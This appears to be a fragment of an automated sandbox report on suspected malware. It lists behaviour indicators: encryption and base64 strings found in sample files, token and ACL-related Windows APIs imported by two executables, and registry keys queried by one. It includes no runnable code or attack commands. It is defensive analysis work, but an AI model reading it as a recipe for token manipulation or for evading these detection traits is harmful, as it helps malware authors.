Set(["about","accountscenter","aidemos","aistudio","apk","blob","cmms","fb","fba","fbatwork","fb-ama","fb-internal","fb-workchat","fb-workchat-secure","fb-messenger","fb-messenger-public","fb-messenger-group-thread","fb-page-messages","fb-pma","fbcf","fbconnect","fbinternal","fbmobilehome","fbrpc","file","flipper","ftp","gtalk","http","https","mailto","wss","ms-app","intent","itms","itms-apps","itms-services","lasso","market","svn+ssh","fbstaging","tel","sms","pebblejs","sftp","whatsapp","moments","flash","fblite","chrome-extension","webcal","instagram","iglite","fb124024574287414","fb124024574287414rc","fb124024574287414master","fb1576585912599779","fb929757330408142","designpack","fbpixelcloud","fbapi20130214","fb1196383223757595","tbauth","oculus","oculus.store","oculus.feed","oculusstore","socialplatform","odh","com.oculus.rd","aria","skype","ms-windows-store","callto","messenger","workchat","fb236786383180508","fb1775440806014337","data","fb-mk","munki","origami-file","fb-nimble-vrsrecorder","fb-nimble-monohandtrackingvis","together","togetherbl","horizonlauncher","venues","whatsapp-consumer","whatsapp-smb","fb-ide-opener","fb-vscode","fb-vscode-insiders","editor","spark-studio","spark-player","spark-simulator","arstudio","manifold","origami-internal","origami-public","stella","mwa","mattermost","logaggregator","pcoip","cinema","home","oculus360photos","systemux","moonstone"]),h=b("$InternalEnum")({EXPLICITLY_ALLOWED_SCHEMES_ONLY:"explicitly_allowed_schemes_only",INCLUDE_DEFAULTS:"include_defaults"});function a(a,b,c){b===void 0&&(b=h.INCLUDE_DEFAULTS);return a==null||a===""?!0:(c==null?void 0:c.has(a.toLowerCase()))||b===h.INCLUDE_DEFAULTS&&g.has(a.toLowerCase())}f.Options=h;f.isAllowed=a}),66);" (Indicator: ""sftp") in Source: 1ZP3WcI-zUf_1_.js48:Tb26,file/memory contains long string with (Indicator: "aes"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "aescryptoserviceprovider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "base64"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "cryptostream"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "cryptostreammode"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "rijndael"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "RsaCryptoServiceProvider"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "xpu69xf0pKXo454_p7ah.exe") file/memory contains long string with (Indicator: "base64"; File: "jjIbzgYTUO7_1_.js") file/memory contains long string with (Indicator: ".decrypt"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: ".encrypt"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "base64"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "blowfish"; File: "_tJ17sGyxOX_1_.js") file/memory contains long string with (Indicator: "base64"; File: "ui2DkP-wt_7_1_.js") file/memory contains long string with (Indicator: "base64"; File: "xQUc0Eds-_X_1_.js") file/memory contains long string with (Indicator: "base64"; File: "1ZP3WcI-zUf_1_.js") file/memory contains long string with (Indicator: "base64"; File: "identifier_1_.htm") file/memory contains long string with (Indicator: "aes"; File: "9GtsBVdobiE_1_.js") file/memory contains long string with (Indicator: ".encrypt"; File: "9GtsBVdobiE_1_.js") file/memory contains long string with (Indicator: "base64"; File: "9GtsBVdobiE_1_.js") file/memory contains long string with (Indicator: ".decrypt"; File: "9GtsBVdobiE_1_.js") file/memory contains long string with (Indicator: "base64"; File: "login_1_.htm") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00001816.00000001.67055.002E0000.00000004.mdmp")49:T11be,Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: ko_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ko_1_.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: ko_1_.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: ko_1_.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: ko_1_.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: ko_1_.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ko_1_.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: ko_1_.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: ko_1_.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: ko_1_.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: ko_1_.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ko_1_.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: ko_1_.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: ko_1_.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ko_1_.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: ko_1_.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: networa_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: networa_1_.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: networa_1_.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: networa_1_.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: networa_1_.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: networa_1_.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: networa_1_.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: networa_1_.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: networa_1_.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: networa_1_.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: networa_1_.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: networa_1_.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: networa_1_.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: networa_1_.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: networa_1_.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: networa_1_.exe]4a:T800,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "")4b:T4001,"initAft()